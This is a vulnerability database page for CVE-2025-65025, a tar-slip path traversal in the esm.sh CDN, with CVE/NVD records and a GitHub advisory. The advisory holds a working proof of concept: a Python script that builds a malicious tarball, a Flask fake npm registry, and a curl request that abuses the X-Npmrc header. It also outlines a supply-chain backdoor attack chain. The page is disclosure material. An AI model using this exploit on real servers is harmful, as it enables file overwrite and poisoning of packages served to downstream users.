Vulnerability-Lookup

CVE-2025-65025 (GCVE-0-2025-65025)

Vulnerability from cvelistv5 – Published: 2025-11-19 17:32 – Updated: 2025-11-20 14:09

Title

esm.sh CDN service has arbitrary file write via tarslip

Summary

esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-11-20 14:09 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/esm-dev/esm.sh/security/adviso…	x_refsource_CONFIRM
https://github.com/esm-dev/esm.sh/commit/9d77b88c…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
esm-dev	esm.sh	Affected: < 136	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-65025",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-11-20T14:09:39.459957Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-11-20T14:09:44.277Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "esm.sh",
          "vendor": "esm-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 136"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-11-19T17:32:46.835Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
        },
        {
          "name": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
        }
      ],
      "source": {
        "advisory": "GHSA-h3mw-4f23-gwpw",
        "discovery": "UNKNOWN"
      },
      "title": "esm.sh CDN service has arbitrary file write via tarslip"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-65025",
    "datePublished": "2025-11-19T17:32:46.835Z",
    "dateReserved": "2025-11-13T15:36:51.682Z",
    "dateUpdated": "2025-11-20T14:09:44.277Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2025-65025",
      "date": "2026-09-18",
      "epss": "0.00533",
      "percentile": "0.43886"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "esm.sh",
                "vendor": "esm-dev",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 136"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "6FB0321A-8476-4667-8F8F-BF9D9E1DF466",
                    "versionEndExcluding": "136",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136."
          }
        ],
        "id": "CVE-2025-65025",
        "lastModified": "2026-06-17T09:55:21.967",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 4.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.8,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2025-65025",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-11-20T14:09:39.459957Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2025-11-19T18:15:49.840",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "tags": [
              "Exploit",
              "Vendor Advisory"
            ],
            "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Analyzed",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-22"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2025-11-26T16:56:37+00:00",
      "cve": "CVE-2025-65025",
      "id": "CVE-2025-65025",
      "initial_release_date": "2025-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "esm.sh CDN service has arbitrary file write via tarslip",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-65025.json",
      "version": "3"
    },
    "suse_vex": {
      "aggregate_severity": "critical",
      "current_release_date": "2026-05-10T01:07:34Z",
      "cve": "CVE-2025-65025",
      "id": "CVE-2025-65025",
      "initial_release_date": "2025-12-12T00:25:02Z",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2025-65025",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2025-65025.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2025-65025",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2025-11-20T14:09:39.459957Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2025-11-20T14:08:43.868Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "esm.sh",
              "vendor": "esm-dev",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 136"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.2,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "LOW",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-22",
                  "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2025-11-19T17:32:46.835Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
            },
            {
              "name": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
            }
          ],
          "source": {
            "advisory": "GHSA-h3mw-4f23-gwpw",
            "discovery": "UNKNOWN"
          },
          "title": "esm.sh CDN service has arbitrary file write via tarslip"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2025-65025",
        "datePublished": "2025-11-19T17:32:46.835Z",
        "dateReserved": "2025-11-13T15:36:51.682Z",
        "dateUpdated": "2025-11-19T17:32:46.835Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2025-65025

Vulnerability from fkie_nvd - Published: 2025-11-19 18:15 - Updated: 2026-06-17 09:55

Severity

8.2 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16	Patch
security-advisories@github.com	https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	esm	esm.sh	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "esm.sh",
          "vendor": "esm-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 136"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6FB0321A-8476-4667-8F8F-BF9D9E1DF466",
              "versionEndExcluding": "136",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136."
    }
  ],
  "id": "CVE-2025-65025",
  "lastModified": "2026-06-17T09:55:21.967",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-65025",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-11-20T14:09:39.459957Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-11-19T18:15:49.840",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-H3MW-4F23-GWPW

Vulnerability from github – Published: 2025-11-19 20:30 – Updated: 2025-11-27 08:29

Summary

esm.sh CDN service has arbitrary file write via tarslip

Details

Summary

The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.
An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js).
When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.

Uploading files containing ../ in the path is not allowed on official registries (npm, GitHub), but the X-Npmrc header allows specifying any arbitrary registry.
By setting the registry to an attacker-controlled server via the X-Npmrc header, this vulnerability can be triggered.

Details

file: server/npmrc.go
line: 552-567

func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {

    pkgDir := path.Join(installDir, "node_modules", pkgName)

    tr := tar.NewReader(unziped)
    for {
        h, err := tr.Next()
        // ...

        // Strip tarball root directory
        _, name := utils.SplitByFirstByte(h.Name, '/')  // "package/../../tmp/evil" → "../../tmp/evil"
        filename := path.Join(pkgDir, name)             // ← No validation

        if h.Typeflag != tar.TypeReg {
            continue 
        }

        // Extension filtering
        extname := path.Ext(filename)
        if !(extname != "" && (allowed_extensions)) {
            continue  // Only extract .js, .css, .json, etc.
        }

        ensureDir(path.Dir(filename))
        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
        // ← File created without path validation!
        // ...
    }
}

The code uses path.Join(pkgDir, name), which normalizes the path and allows sequences like ../../ to escape the intended package directory.

pkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg
name:   ../../../../../../tmp/pyozzi.js
result:   /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js
        → /tmp/pyozzi.js  (path traversal)

PoC

Test On - esm.sh Official Docker Image (latest version) - python 3.11 - flask (for attacker registry server)

Step 1. Create Malicious tarball file

#!/usr/bin/env python3
"""
Malicious Tarball Generator for esm.sh Path Traversal
Creates tarball with path traversal payloads
"""

import tarfile
import io,os
import json
from datetime import datetime

def create_malicious_tarball(package_name="test-tarslip"):

    # PoC file Content
    poc_payload = b"""// Path Traversal PoC
    // This file was created via tarslip attack
    // Location: /tmp/pyozzi.js

    console.log('[!!!] Path Traversal Successful!');
    console.log('Package: %s');
    console.log('Researcher: pyozzi');

    module.exports = {
        poc: true,
        vulnerability: 'CWE-22 Path Traversal',
        package: '%s'
    };
    """ % (package_name.encode(), package_name.encode())

    files = {
        "package/index.js": b"module.exports = { version: '1.0.0', test: true };",
        "package/package.json": json.dumps({
            "name": package_name,
            "version": "1.0.0",
            "description": "Test package for security research",
            "main": "index.js",
            "keywords": ["test", "security", "research"],
            "author": "Security Researcher",
            "license": "MIT"
        }, indent=2).encode(),

        "package/../../../../../../../../../tmp/pyozzi.js": poc_payload,
    }

    # Create Tarball

    tarball_name = f"{package_name}-1.0.0.tgz"

    print("Creating tarball with payloads:")
    print()

    with tarfile.open(tarball_name, "w:gz") as tar:
        for name, content in files.items():
            info = tarfile.TarInfo(name=name)
            info.size = len(content)
            info.mode = 0o755
            info.mtime = int(datetime.now().timestamp())
            tar.addfile(info, io.BytesIO(content))

    print(f"File: {tarball_name}")
    print(f"Size: {os.path.getsize(tarball_name)} bytes")

    # Check Tarball Content
    print("Tarball contents:")
    with tarfile.open(tarball_name, "r:gz") as tar:
        for member in tar.getmembers():
            marker = ">> " if "../" in member.name else "   "
            mode = oct(member.mode)[-3:]
            print(f"{marker}{member.name} (mode: {mode})")

if __name__ == '__main__':
    create_malicious_tarball()

output:

 $ python create_tarball.py
Creating tarball with payloads:

File: test-tarslip-1.0.0.tgz
Size: 545 bytes
Tarball contents:
   package/index.js (mode: 755)
   package/package.json (mode: 755)
>> package/../../../../../../../../../tmp/pyozzi.js (mode: 755)

Step 2. Run Fake Registry Server

# fake-npm-registry.py
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)

python3 fake-npm-registry.py

Step 3. Request Malicious Package with X-Npmrc Header

curl "http://localhost:8080/test-tarslip@1.0.0" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Path Traversal

docker exec esm-test cat /tmp/pyozzi.js

# ouput:
// Path Traversal PoC
    // This file was created via tarslip attack
    // Location: /tmp/pyozzi.js

    console.log('[!!!] Path Traversal Successful!');
    console.log('Package: test-tarslip');
    console.log('Researcher: pyozzi');

    module.exports = {
        poc: true,
        vulnerability: 'CWE-22 Path Traversal',
        package: 'test-tarslip'
    };
...

Impact

This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.

Attack Chain: 1. Attacker identifies popular packages and their cached build file locations via API enumeration 2. Uses path traversal to overwrite cached build files (e.g., /esm/storage/modules/react@18.3.1/es2022/react.mjs) 3. Injects malicious code into the build files 4. Any application importing these packages receives the backdoored version 5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)

Impact Scale: - Affects all downstream users of compromised packages - Can target specific frameworks (React, Vue, etc.) used by thousands of applications - Enables XSS in browsers, RCE in Electron applications - Difficult to detect as traffic appears legitimate

Patch

Path validation is required when unpacking a tar file.
X-Npmrc whitelist logic is required.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20251117232647-9d77b88c3207"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65025"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-19T20:30:00Z",
    "nvd_published_at": "2025-11-19T18:15:49Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.  \nAn attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`).  \nWhen esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.\n\nUploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry.  \nBy setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.\n\n### Details\n**file:** `server/npmrc.go`  \n**line:** 552-567\n\n```go\nfunc extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {\n    \n    pkgDir := path.Join(installDir, \"node_modules\", pkgName)\n    \n    tr := tar.NewReader(unziped)\n    for {\n        h, err := tr.Next()\n        // ...\n        \n        // Strip tarball root directory\n        _, name := utils.SplitByFirstByte(h.Name, \u0027/\u0027)  // \"package/../../tmp/evil\" \u2192 \"../../tmp/evil\"\n        filename := path.Join(pkgDir, name)             // \u2190 No validation\n        \n        if h.Typeflag != tar.TypeReg {\n            continue \n        }\n        \n        // Extension filtering\n        extname := path.Ext(filename)\n        if !(extname != \"\" \u0026\u0026 (allowed_extensions)) {\n            continue  // Only extract .js, .css, .json, etc.\n        }\n        \n        ensureDir(path.Dir(filename))\n        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)\n        // \u2190 File created without path validation!\n        // ...\n    }\n}\n```\nThe code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory.\n\n```\npkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg\nname:   ../../../../../../tmp/pyozzi.js\nresult:   /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js\n        \u2192 /tmp/pyozzi.js  (path traversal)\n```\n\n### PoC\n**Test On**\n- esm.sh Official Docker Image (latest version)\n- python 3.11\n- flask (for attacker registry server)\n\n### Step 1. Create Malicious tarball file\n```python\n#!/usr/bin/env python3\n\"\"\"\nMalicious Tarball Generator for esm.sh Path Traversal\nCreates tarball with path traversal payloads\n\"\"\"\n\nimport tarfile\nimport io,os\nimport json\nfrom datetime import datetime\n\ndef create_malicious_tarball(package_name=\"test-tarslip\"):\n    \n    # PoC file Content\n    poc_payload = b\"\"\"// Path Traversal PoC\n    // This file was created via tarslip attack\n    // Location: /tmp/pyozzi.js\n\n    console.log(\u0027[!!!] Path Traversal Successful!\u0027);\n    console.log(\u0027Package: %s\u0027);\n    console.log(\u0027Researcher: pyozzi\u0027);\n\n    module.exports = {\n        poc: true,\n        vulnerability: \u0027CWE-22 Path Traversal\u0027,\n        package: \u0027%s\u0027\n    };\n    \"\"\" % (package_name.encode(), package_name.encode())\n    \n    files = {\n        \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027, test: true };\",\n        \"package/package.json\": json.dumps({\n            \"name\": package_name,\n            \"version\": \"1.0.0\",\n            \"description\": \"Test package for security research\",\n            \"main\": \"index.js\",\n            \"keywords\": [\"test\", \"security\", \"research\"],\n            \"author\": \"Security Researcher\",\n            \"license\": \"MIT\"\n        }, indent=2).encode(),\n        \n        \"package/../../../../../../../../../tmp/pyozzi.js\": poc_payload,\n    }\n    \n    # Create Tarball\n    \n    tarball_name = f\"{package_name}-1.0.0.tgz\"\n    \n    print(\"Creating tarball with payloads:\")\n    print()\n    \n    with tarfile.open(tarball_name, \"w:gz\") as tar:\n        for name, content in files.items():\n            info = tarfile.TarInfo(name=name)\n            info.size = len(content)\n            info.mode = 0o755\n            info.mtime = int(datetime.now().timestamp())\n            tar.addfile(info, io.BytesIO(content))\n\n    print(f\"File: {tarball_name}\")\n    print(f\"Size: {os.path.getsize(tarball_name)} bytes\")\n\n    # Check Tarball Content\n    print(\"Tarball contents:\")\n    with tarfile.open(tarball_name, \"r:gz\") as tar:\n        for member in tar.getmembers():\n            marker = \"\u003e\u003e \" if \"../\" in member.name else \"   \"\n            mode = oct(member.mode)[-3:]\n            print(f\"{marker}{member.name} (mode: {mode})\")\n\nif __name__ == \u0027__main__\u0027:\n    create_malicious_tarball()\n```\n\n**output:**\n```bash\n $ python create_tarball.py\nCreating tarball with payloads:\n\nFile: test-tarslip-1.0.0.tgz\nSize: 545 bytes\nTarball contents:\n   package/index.js (mode: 755)\n   package/package.json (mode: 755)\n\u003e\u003e package/../../../../../../../../../tmp/pyozzi.js (mode: 755)\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-tarslip-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef 